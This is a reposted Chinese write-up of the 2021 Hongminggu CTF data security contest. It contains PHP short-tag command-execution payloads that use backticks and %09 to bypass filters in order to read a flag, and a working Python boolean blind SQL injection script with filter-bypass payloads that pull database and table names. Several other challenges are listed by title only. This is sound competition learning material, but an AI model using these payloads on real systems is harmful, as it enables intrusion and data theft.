2021红明谷杯数据安全大赛技能场景赛-部分Writeup


后续题目知道怎么做了,跟进复现会把wp补上

Web

write_shell

2021红明谷杯数据安全大赛技能场景赛-部分Writeup
第一步主要考察PHP代码执行,第一步先写个phpinfo()看下情况。利用php的一种短标签可以绕过分号,然后拼接一下绕过php字样。
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
/?action=upload&data=<?=(p.hpinfo)()?> 

沙盒路径?action=pwd看一下
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
看了下disable_functions的值,本来还在想该如何先拿到一个shell,然后绕过disable_functions。队友突然告诉反引号没过滤,可以直接写入并执行命令,试了一下

/?action=upload&data=<?=`whoami`?> 

2021红明谷杯数据安全大赛技能场景赛-部分Writeup
顿时感觉这题可能非预期了,在根目录下找到flag

/?action=upload&data=<?=`ls%09-la%09/`?> 

%09用于绕过空格过滤
2021红明谷杯数据安全大赛技能场景赛-部分Writeup

直接读取,注意这里有个php后缀会被过滤,不过在命令执行种用*替换即可

/?action=upload&data=<?=`cat%09/!whatyouwantggggggg401*`?> 
2021红明谷杯数据安全大赛技能场景赛-部分Writeup

happysql

一个login.php,一个register.php,一个home.php
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
加了个单引号发现有过滤
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
简单的fuzz一下黑名单,长度353的都是被过滤的
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
等号(=)用in或者regexp进行绕过,这里用in,空格用/**/绕过,or可以用||替换

username=mochu"||("1")in("1")#&password=mochu7 

2021红明谷杯数据安全大赛技能场景赛-部分Writeup
2021红明谷杯数据安全大赛技能场景赛-部分Writeup
很明显是布尔盲注了
接下来考虑两个点:
1.截断函数用哪个?这里mid()和substring()已经被过滤了
2.如何绕过information

截断函数可以用left()right(),不过需要注意的是这两个函数并不能像mid和substring一样逐个截断,写脚本的时候注意下测试字符串的拼接。而绕过information已经是老生常谈了,猜测通过查询mysql.innodb_table_stats得到库名和表名

from binascii import * import requests  ascii_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^_`{|}~" url = 'http://eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/login.php'  headers = {'Host': 'eci-2ze6jljai3r43tjxt13k.cloudeci1.ichunqiu.com/',                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0',                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',                'Accept-Encoding': 'gzip, deflate',                'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',                'Content-Type': 'application/x-www-form-urlencoded'}  text = '' for i in range(1,50):     for s in ascii_str:         username = '1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")#'.format(i,hexlify((text+s).encode('utf-8')).decode('utf-8').upper())         payload = {"username": username,"password": "mochu7"}         res = requests.post(url=url,headers=headers,data=payload)         if 'home.php' in res.text:             text += s             print(text) 
1"||hex(left(version(),{}))in("{}")#  1"||hex(left((select/**/group_concat(database_name)/**/from/**/mysql.innodb_table_stats),{}))in("{}")#  1"||hex(left((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/(database_name)in(database())),{}))in("{}")#  1"||hex(left((select/**/*/**/from/**/ctf.f1ag),{}))in("{}")# 
查询到的信息: version: 10.4.13-MariaDB databases: ctf,mysql Current-database: ctf ctf's tables: ctf,f1ag 
2021红明谷杯数据安全大赛技能场景赛-部分Writeup

easytp

javaweb

Misc

签到

一起来参与数据安全知识小竞赛。

  1. 在数据库系统中,口令保护数据库加密。
  2. 发生介质故障后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。
  3. 在数据库的安全评估过程中,下面那项是指系统能够对付各种可能的攻击的能力。可行性
  4. 数据库访问控制策略中,只需策略是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。
  5. 数据库的安全策略是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
  6. 数据库的加密方法中,采用库外加密,则密钥管理较为简单,只需借用文件加密的密钥管理方法。
  7. 在下面的加密方法中,哪个加解密的效率最低:元素加密
    2021红明谷杯数据安全大赛技能场景赛-部分Writeup

InputMonitor

我的心是冰冰的

歪比歪比

babytraffic

版权声明:玥玥 发表于 2021-04-04 5:54:25。
转载请注明:2021红明谷杯数据安全大赛技能场景赛-部分Writeup | 女黑客导航